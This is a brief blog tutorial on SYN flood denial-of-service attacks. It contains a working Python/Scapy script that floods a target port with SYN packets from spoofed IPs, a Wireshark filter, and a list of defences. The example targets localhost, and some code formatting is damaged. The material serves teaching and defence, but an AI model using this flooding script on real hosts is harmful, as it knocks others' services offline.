Thilan Dissanayaka Computer Networking May 03, 2020

SYN flooding - The basic of DOS Attacks

SYN flood attack is a classic way to understand Denial of Service (DoS) attacks and how TCP resource exhaustion works. It’s a common attack vector in security assessments, and knowing how it works helps you defend against it effectively.

🚨 What Is a SYN Flood? In a normal TCP handshake:

arduino Copy Edit

Client → Server: SYN
Server → Client: SYN-ACK
Client → Server: ACK ✅ In a SYN flood:

The attacker sends thousands of SYN packets without sending the final ACK.

The server waits for the ACK, keeping half-open connections in memory.

This exhausts server resources (connection table), leading to denial of service.

⚠️ Disclaimer This demo is for educational purposes only, and should only be run against your own machine or a controlled lab environment.

🔧 Requirements Python 3

Scapy (pip install scapy)

Root/admin privileges (sudo on Linux/Mac)

🧪 Python SYN Flood Script (Lab Only) python Copy Edit from scapy.all import * import random import time

def syn_flood(target_ip, target_port, packet_count=1000): print(f"Sending {packet_count} SYN packets to {target_ip}:{target_port}") for i in range(packet_count): # Randomize source port and IP to simulate spoofing src_port = random.randint(1024, 65535) src_ip = f"192.168.{random.randint(1, 254)}.{random.randint(1, 254)}" # Spoofed IP

    ip = IP(src=src_ip, dst=target_ip)
    tcp = TCP(sport=src_port, dport=target_port, flags='S', seq=random.randint(1000, 9000))

    pkt = ip / tcp
    send(pkt, verbose=0)
    
    if i % 100 == 0:
        print(f\"Sent {i} packets...\")

print(\"SYN flood complete.\")

Example usage

if name == "main": target_ip = "127.0.0.1" target_port = 65432 syn_flood(target_ip, target_port, packet_count=1000) 🔍 What This Does Sends 1000 SYN packets to the target.

Source IPs and ports are spoofed.

Target sees thousands of "clients" initiating connections but never completing them.

👁 View in Wireshark Open Wireshark and use filter:

ini Copy Edit tcp.flags.syn == 1 && tcp.flags.ack == 0 && tcp.port == 65432 Start your local server (on port 65432) to make it listen.

Run the script — you’ll see tons of SYN packets.

🧠 Real-World Defenses Against SYN Floods SYN cookies (don’t allocate memory until handshake completes)

Rate limiting suspicious IPs

Firewalls (e.g., iptables rules)

Intrusion Detection Systems (IDS)

🛡 Want to Try Mitigation? Let me know and I can walk you through:

Enabling SYN cookies in Linux

Using iptables to block floods